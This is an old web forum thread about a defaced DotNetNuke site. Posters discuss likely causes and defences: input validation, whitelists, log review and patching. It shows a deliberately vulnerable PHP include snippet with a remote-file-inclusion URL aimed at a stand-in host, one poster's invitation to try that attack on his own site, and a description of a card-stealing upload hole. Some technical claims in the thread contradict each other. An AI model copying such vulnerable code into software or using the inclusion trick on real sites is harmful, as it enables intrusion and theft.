My website was hacked

[softdragonz]

I dont know..... how this all happened. How can someone hack a secure ASP.net website

 

the link is

 

www.dotnet4u.co.nr

 

There are so many such websites that were hacked

 

Another example

 

http://www.bjelovar.com/linkovi/

 

Try googling for "NobodyCoder"

 

I was shocked. This guy has hacked so many PHP portals too.

[the tree]

By definition a secure website cannot be hacked into, but of course, there is no such thing.

 

Tell us about your site. Where you including any content depending on the _GET variables? Where there any forms? It's scripting problems like those that make life easy for crackers and although there is a chance this guy found a hole in the IIS server, it's a lot more likely to a weakness in the scripting.

 

Taking advantage of the ways that you generate content is incredibly easy. Take a look at this depressingly common PHP (exactly the same thing could get done in ASP, but I don't know much of that so I'm using PHP for my example).

<?php
if(isset($_GET['page']){
// ^^ If the URL ends with .php?page=somevalue
 include $_GET['page'].'inc';
// ^^ Include somevalue.inc into this document
}
else
{
// ^^ Otherwise,
 include 'default.inc';
// ^^ Include that.
}
?>

Now that works great when you put in something like .php?page=some_boring_document but it doesn't take too much common sense (and naugtiness) to put in .php?page=http://some_free_host.com/some_really_nasty_script and that's all the way in that a hacker should need.

 

It's really the same thing if they fill in some nasty script into your form, which is easy if you haven't escaped all the quotation marks et cetera in the string before processing it.

 

If you're using third party software then always make sure that it's reputable and that you are using the latest version avaliable.

 

It could also be an FTP problem, remember that FTP carries passwords over plain text, so if someone was listening to your connection (either via spyware or by being somewhere else on your local network) then it'd be easy for them to get your FTP password. Use SFTP if possible. On that note, I'd make sure that nothing nasty has been left on your server. And scan your computer (and network, if relevant).

[softdragonz]

Hi...

 

I should say, i use dotNetNuke. An open source content management system.

 

My hosting provider is

 

http://www.pureportals.com

 

The irony is, my hosting providers website is also hacked.

 

The guy must be executing some sort of script on the servers. He must have used some Response.Write(...) mechanism. Try to view the source of the website. No HTML tags.

[the tree]

Ah, that'd explain the redirect, I'd imagine that the violation came in from one of thier less secure customers and the got root from there and so being able to work thier way down to individual sites like yours.

[softdragonz]

But i also feel that since dotNetNuke is Open Source system, the hacker must be knowing what the scripts are in it. That could have helped him hack it. I saw few more dotNetNuke and PHP-Nuke sites getting hacked.

[1veedo]

the tree that's not how you use GET to exploit a site.

 

If you have a download/upload site that takes GET/POST you can sometimes engineer a way to download source files or upload your own to the server. You cannot execute a script remotely and have any effect on the current site cause the script has no permission to do anything on the host. If you tell it to write to a file it'll write to a file on http://some_free_host.com and not your target. In order to execute your own code on a server it has to be that server w/ proper +x permission, in other words you upload your own script in place of an existing file that already has execution privlages. (if you're smart you imbed it in the current script so the site still works properly and you dont accidently **** it up)

 

Code injection is much more valuable on an SQL server anyway.

 

edit--

Just to prove a point I'm putting my old site at http://1veedo.homelinux.com/www/, index.php is set up the same way as above. The difference is that the script adds .php to the end. So index.php?1veedo=about is accessing about.php (which contaisn variables about the title etc, not an echo. $content=etc. index.php echos $content). So if you have http://some_free_host.com/some_really_nasty_script.php you'd call it 1veedo.homelinux.com/www/index.php?1veedo=http://some_free_host.com/some_really_nasty_script (and the .php gets added to the end by index.php)

[the tree]

It depends what you mean by "do something nasty", the first attack can be something as simple as highlight-file('index.php'); or to bring up some info on what other files/directories are in the www_root directory.

Although I'm sure it is possible to make changes from one request, I'd only ever considered the technique I'd mentioned above for reconasonce.

 

Not that I'd do anything like that anyways.

[1veedo]

PHP is executed server side. You cannot bring up info about other files/directories, or do pretty much anyathing at all, by executing a script on another server!

[softdragonz]

Hmmm...

 

It uses Http PL and no FTP is used

 

Whatever happened, the problem is now gone. My portal host solved the problem somehow. Thanks a lot for suggestions. Tree's code looked secure. I shall implement that.

[Gaz]

You can learn more by looking at your webserver logs and grepping through them for common things like sql commands (union,select,insert) and characters that shouldn't be there. A lot of attacks on a site I run come from vietnamese and chinese proxies, consider blocking them if they aren't your audience. You can also check secunia and milw0rm for vulns; patch to the latest verison of your CMS when updates are available.

 

If you're running apache have a look at mod_security, it can stop a great deal of attacks if you're too lazy to update your webapps but it is by no means a reason not to patch; only a safety net if you forget.

 

Tree's code looked secure. I shall implement that.

 

Proper could should never accept user input like that. Always validate! I would use a regular expression containing the list of pages "home|page1|page2" and compare input to the list.

 

PHP is executed server side. You cannot bring up info about other files/directories, or do pretty much anyathing at all, by executing a script on another server!

It's not being executed on the some_free_host.com site. If you look at the code, it's telling it to include the contents of "some_really_nasty_script" into the current page, so it gets run on the poor webserver.

[padren]

personally I like to hardcode the list of valid pages into a hashtable, and then require a check to see if that key exists before running that page.

 

You can also use symbolic names then, with the key being "contact" and the value "contact.php" or such, which is the best way I think to do that.

 

If for any reason you *absolutely* need to pass a filename to the server and cannot check against valid files, at the very very least validate that it does not contain any slashes and keep it fixed in the directory it is supposed to read from.

 

PHP is frightfully insecure in many ways. In the mail() function they claim the second parameter is the "subject" field, yet, you can pass text that includes line breaks and additional headers, and many spammers exploit poorly validated input on mail forms to do just this, and the other arguments are vulnerable to this as well.

 

The general rule is always consider anything a browser sends your server to be tainted and not validated.

 

If they are just filling in a name and you are displaying the output of "piglatinize($GET[name]);" then it is not a big issue, because that variable isn't determining what script to run, where to store an uploaded image, what sorting order to query data in the database etc - it has no impact on what code will run.

 

As soon as you need to have the client tell the server "what it wants to do" you want to be very sure it can only pick out of a list of the things you will let it do, that is validated on the server.

 

 

About this instance:

I looked at the error message, and it looks like all the hacker did was change the value of the MySQL host server variable.

 

I can only imagine he did not crack the site, because he didn't change any data in the normal pages, nor the database.

 

If I had to venture a guess, he did one of two things:

 

1) Called a URL to a "setup wizard" (install.asp or something) just to see if it was left on the server, found it, and punched in values he knew could deliver his message on every page - by putting his message into the HOST field which he knew would be displayed inside the "could not connect" error message.

 

2) fooled an admin config page into thinking he was authenticated when he wasn't, and changing the value there. I had a client who paid 5 digits to a programming firm for software that was protected in the admin section by nothing more than "admin=Y" in a cookie, so anything is possible.

 

 

I honestly think it is more likely to be (1) because most admin tools store variables in the database except for the information on how to connect to the database (since you would need the db info to extract the db info if you did) which is in a config file that is generated during the install.

 

 

I would recommend checking to see if you can find either any install scripts or any pages that let you change the database host name. If it is not an install script, than it is a config page with poor or non-persistant authentication.

 

I am betting this guy was trying to put on the biggest show he could, and since he did not change any data in the database, nor changed any file contents, it appears the biggest show he could pull off was to change the config setup.

Therefore, find any place you can do that which does not give you access to more - if he could of done more he would have.

[padren]

just another little hackish story: the same client had purchased a commerce package from a very relibable company (4 figure pricetag) that allowed image uploads, using the image path in a URL parameter that was hidden inside a frame.

 

I tested the hole on his server, and I was able to upload a script file to the web accessible directory of my choice.

 

With that, I could easily upload a script that printed the raw unprocessed source for any of the pages (to extract the variable names for the database), rewrite any of the pages, add my own account as an admin with my own password, and even replace the cybercash plugin to email me with every credit card used for any of the online stores within the mall itself, and then later run cybercash transactions to credit those stolen cards with all the money inside his cybercash account, and then search for the brand name on yet other sites that had also used that product and do the same thing to hundreds of other servers and their customers.

 

It was a pretty big hole and I patched it for the client, and informed the vendor...though I never did follow up to ensure they patched it themselves for their customers.